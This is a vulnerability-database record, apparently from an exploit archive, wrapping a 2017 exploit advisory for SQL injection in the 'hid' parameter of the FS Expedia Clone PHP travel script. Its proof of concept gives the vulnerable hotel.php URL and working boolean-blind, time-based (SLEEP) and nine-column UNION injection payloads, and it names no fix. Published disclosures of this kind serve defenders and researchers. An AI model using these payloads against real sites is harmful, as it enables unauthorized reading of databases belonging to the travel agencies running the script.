Description
FS Expedia Clone - hid SQL Injection
{"lastseen": "2020-04-01T19:04:15", "references": [], "description": "\nFS Expedia Clone - hid SQL Injection", "edition": 1, "reporter": "8bitsec", "exploitpack": {"type": "webapps", "platform": "php"}, "published": "2017-10-23T00:00:00", "title": "FS Expedia Clone - hid SQL Injection", "type": "exploitpack", "enchantments": {"dependencies": {}, "score": {"value": 0.6, "vector": "NONE"}, "backreferences": {}, "exploitation": null, "vulnersScore": 0.6}, "bulletinFamily": "exploit", "cvelist": [], "modified": "2017-10-23T00:00:00", "id": "EXPLOITPACK:8AAE4083AC0313E6FC0604485C79426C", "href": "", "viewCount": 3, "sourceData": "# Exploit Title: FS Expedia Clone - SQL Injection\n# Date: 2017-10-23\n# Exploit Author: 8bitsec\n# Vendor Homepage: https://fortunescripts.com/\n# Software Link: https://fortunescripts.com/product/expedia-clone/\n# Version: 23 October 17\n# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]\n# Email: contact@8bitsec.io\n# Contact: https://twitter.com/_8bitsec\n\nRelease Date:\n=============\n2017-10-23\n\nProduct & Service Introduction:\n===============================\nCoded in PHP/MySQL, this is an ultra efficient script hot favorite with travel agencies worldwide.\n\nTechnical Details & Description:\n================================\n\nSQL injection on [hid] parameter.\n\nProof of Concept (PoC):\n=======================\n\nSQLi:\n\nhttps://localhost/[path]/hotel.php?hid=2 AND 6652=6652\n\nParameter: hid (GET)\n Type: boolean-based blind\n Title: AND boolean-based blind - WHERE or HAVING clause\n Payload: hid=2 AND 6652=6652\n\n Type: AND/OR time-based blind\n Title: MySQL >= 5.0.12 AND time-based blind\n Payload: hid=2 AND SLEEP(5)\n\n Type: UNION query\n Title: Generic UNION query (NULL) - 9 columns\n Payload: hid=-1685 UNION ALL SELECT NULL,CONCAT(0x7162716271,0x696b6a4c52576c76446173666d5972704d454258706146434f544c78416a52754444694864786a42,0x7176786b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- Nqcw\n==================\n8bitsec - [https://twitter.com/_8bitsec]", "cvss": {"score": 0.0, "vector": "NONE"}, "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645793470, "score": 1659818015}, "_internal": {"score_hash": "d8c51c923509f192512f821e682df83c"}}
{}
FS Expedia Clone - hid SQL Injection